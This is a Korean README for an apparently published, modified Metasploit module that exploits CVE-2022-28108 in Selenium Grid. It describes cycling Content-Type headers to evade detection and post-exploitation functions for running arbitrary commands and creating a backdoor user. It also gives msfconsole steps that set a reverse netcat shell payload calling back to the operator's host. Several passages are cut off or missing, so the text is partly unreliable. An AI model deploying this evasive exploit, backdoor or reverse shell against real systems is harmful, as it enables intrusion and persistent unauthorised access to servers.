
수정된 Metasploit 모듈로, CVE-2022-28108(Selenium Grid RCE)을 악용하며 콘텐츠 유형 우회와 명령 실행 및 백도어 사용자 생성을 위한 사후 악용 기능을 포함합니다.
이 저장소는 오래된 버전의 Selenium Server(Grid)에서 원격 코드 실행 취약점을 익스플로잇하는 Metasploit 모듈의 수정된 버전을 포함하고 있습니다.
이 코드를 사용하기 전에 이 README를 주의 깊게 읽어주세요.
원본 코드에 대한 인정:
이 모듈은 CVE-2022-28108에 대한 Metasploit 모듈의 원저자들의 훌륭한 작업을 기반으로 합니다. Selenium Server 취약점을 익스플로잇하는 핵심 기능은 크게 그들의 구현을 기반으로 합니다. 우리는 보안 커뮤니티에 대한 그들의 기여를 인정하고 감사드립니다.
'Author' 섹션)에 명시되어 있습니다. 구체적인 이름은 원본 모듈을 참조하세요.익스플로잇된 취약점:
이 모듈은 CVE-2022-28108을 대상으로 합니다. 이는 4.0.0-alpha-7 이전 버전의 Selenium Server(Grid)에서 발생하는 사이트 간 요청 위조(CSRF) 취약점입니다. 이 취약점은 서버가 특정 요청에 대해 JSON이 아닌 콘텐츠 유형(예: text/plain, application/x-www-form-urlencoded, multipart/form-data)을 허용하기 때문에 발생합니다. 공격자는 이를 이용해 악의적인 요청을 보내 서버에서 원격 코드 실행(RCE)을 유발할 수 있습니다.
원본 코드의 작동 방식:
원본 Metasploit 모듈은 취약한 Selenium Server의 /wd/hub/session 엔드포인트에 조작된 POST 요청을 보내 이 취약점을 익스플로잇합니다. 이 요청은 JSON이 아닌 Content-Type(특히 text/plain)을 사용하며 원하는 브라우저 기능의 goog:chromeOptions 내에 악의적인 구성을 포함합니다. 이를 통해 공격자는 새 브라우저 세션이 시작될 때 서버에서 실행될 임의의 바이너리(예: /usr/bin/python3)와 인수를 지정할 수 있습니다.
이 버전의 수정 및 개선 사항:
이 저장소는 원본 Metasploit 모듈의 수정된 버전을 포함하고 있습니다. 주요 수정 사항은 다음과 같습니다:
Content-Type 헤더(예: text/plain, application/x-www-form-urlencoded, multipart/form-data)로 악의적인 요청을 보내 취약점을 익스플로잇하려고 시도합니다. 이는 특정 Content-Type을 찾는 기본 필터링 또는 탐지 메커니즘을 우회하기 위한 것입니다.execute_post_exploitation 함수: 새로운 함수 execute_post_exploitation(session_response)가 추가되었습니다. 이 함수는 익스플로잇 성공 후 호출되며 기본적인 후속 작업을 수행합니다. 현재 구현에서는 다음을 포함합니다:
execute_command_on_target 함수: 또 다른 새로운 함수 execute_command_on_target(command)가 추가되었습니다. 이 함수는 익스플로잇 성공 후 대상 시스템에서 임의의 명령을 실행할 수 있게 해줍니다. execute_post_exploitation 함수 내에서 사용되며 추가 후속 활동을 위해 확장할 수 있습니다.강조된 주요 차이점:
핵심 차이점은 exploit 메서드와 두 개의 새로운 함수 추가에 있습니다.
exploit 메서드: Content-Type: text/plain으로 단일 요청을 보내는 데 중점을 둡니다.exploit 메서드: 여러 Content-Type 값을 반복하며 각각에 대해 익스플로잇을 시도합니다. 익스플로잇 성공 시 execute_post_exploitation 함수를 호출합니다.execute_post_exploitation 및 execute_command_on_target 함수는 이 수정된 버전에 완전히 새로 추가된 것으로, 확장된 후속 작업 기능을 제공합니다.수정된 모듈 사용 방법:
.rb 파일(예: selenium_rce_extended.rb)로 저장합니다./usr/share/metasploit-framework/modules/exploits/ 또는 ~/.msf4/modules/exploits/에 위치합니다. 정확한 위치는 Metasploit 설치를 참조하세요.msfconsole을 실행합니다.use exploit/selenium_rce_extended 명령을 사용합니다(하위 디렉토리에 배치한 경우 파일을 저장한 경로 사용).msf6 exploit(selenium_rce_extended) > set RHOSTS <target_ip>
msf6 exploit(selenium_rce_extended) > set RPORT <target_port>
msf6 exploit(selenium_rce_extended) > set PAYLOAD cmd/unix/reverse_netcat
msf6 exploit(selenium_rce_extended) > set LHOST <your_ip>
msf6 exploit(selenium_rce_extended) > set LPORT <your_port>
중요 고려 사항 (면책 조항):
책임 부인:
이 수정된 코드의 작성자는 이 모듈 사용으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 이 코드를 사용함으로써 귀하는 자신의 행동에 대한 전적인 책임을 지는 데 동의합니다.
라이선스:
이 수정된 코드는 원본 Metasploit 프레임워크와 동일한 라이선스(일반적으로 MSF 라이선스)의 적용을 받을 가능성이 높습니다. 자세한 내용은 원본 Metasploit 프레임워크 라이선스를 참조하세요.
기여하기:
이 모듈에 대한 기여와 개선을 환영합니다. 버그 수정, 개선 사항 또는 새로운 기능이 있으면 자유롭게 풀 리퀘스트를 제출해 주세요.
감사의 말:
CVE-2022-28108에 대한 Metasploit 모듈의 원저자들에게 다시 한 번 감사드립니다. 그들의 작업이 이 수정된 모듈의 기초를 이루고 있습니다.
exploit